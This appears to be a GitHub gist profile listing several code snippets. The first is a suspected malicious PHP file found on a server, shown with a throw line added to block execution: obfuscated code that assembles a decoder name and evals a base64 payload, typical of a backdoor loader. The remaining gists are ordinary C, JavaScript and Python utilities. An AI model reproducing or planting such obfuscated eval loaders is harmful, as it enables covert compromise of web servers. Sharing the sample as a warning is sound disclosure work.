Skip to content

Instantly share code, notes, and snippets.

View mp035's full-sized avatar

Mark Pointing mp035

View GitHub Profile
@mp035
mp035 / malicious.php
Last active March 8, 2023 14:55
A suspected malicious file found on a php server (throw line added to prevent accidental execution).
<?php throw new \Exception("This file is likely a malicious file! Do not run it unless you know what you are doing!"); ?>
<?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
eval($O00O0O("JE8wTzAwMD0iTHdOV2ZheHNCcUNqb3Bkbkh0WVZ2a1VaR0tFck1ibEl5RFFBSnVlZ1JYemlPU1RjRm1QaGlFcktPVlhOYVVlYlRDa0RMbnVaZ3dZRkd5UmhtUGNBempmSnRRTVdzb0JJdlNxSGxwZHhmWkZTU1lFV3FSbEtTWWt2c2ZUOGQzYVRISkNjdTJ4Z0FlSDhpM3N3ZGJFZ2tMQStkTHN6ZGJYMEZqNER2RUNDRkl4Q0gzcmNrZVd3bzBGdHFSWnFLemtwVktYY3QxMEN5b055QWVKV0FHY3B5R3JnSEx3VHRsOUdTWVhsWTFOREZwY05GU2trS3prMFBvYU9QcGxuRlNra2llc09ZMFpTWnda
@mp035
mp035 / app_adc.c
Created February 24, 2021 23:56
STM32F030F4P6 App ADC Code
/*
* app_adc.c
*
* Created on: 20 Feb 2021
* Author: mark
*/
#include "main.h" // for access to hardware functions
#include "app.h"
#include <string.h>
@mp035
mp035 / axios_to_fetch.js
Last active June 7, 2023 11:29
Replace axios requests with fetch interface.
//This adds axios.get, axios.post, axios.put, and axios.delete compatible methods to
//the global namespace. It is intened for json transactions.
let token = document.head.querySelector('meta[name="csrf-token"]');
class HTTPError extends Error {
constructor(response, ...params) {
// Pass remaining arguments (including vendor specific ones) to parent constructor
super(...params);
@mp035
mp035 / laravel-ajax-form.js
Last active October 5, 2022 22:14
Convert any standard HTML form to ajax by adding a few classes to the components and including this file. (see comments)
// notes on using this file:
// This file is intended to work with a standard html form the same as what you use for server side rendered laravel projects.
// The only changes you need to make to the form are:
// 1. Add the class "ajax-submit" to any form you want to be submitted via ajax.
// 2. If you have a "Cancel" button on your form, mark it with the class "form-cancel"
// 3. Add a bootstrap alert in your form, marked with the class "ajax-error-alert" and "collapse" (to keep it initally hidden). This alert will display any error messages.
// Then call the function "AttachAjaxSubmit()" after the DOM is loaded.
// NOTE: This script requires bootstrap to style the components during the submission process.
@mp035
mp035 / tk_scroll_demo.py
Last active May 4, 2024 14:19
A simple scrollable frame class for tkinter, including example usage.
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at https://mozilla.org/MPL/2.0/.
import tkinter as tk
import platform
# ************************
# Scrollable Frame Class
# ************************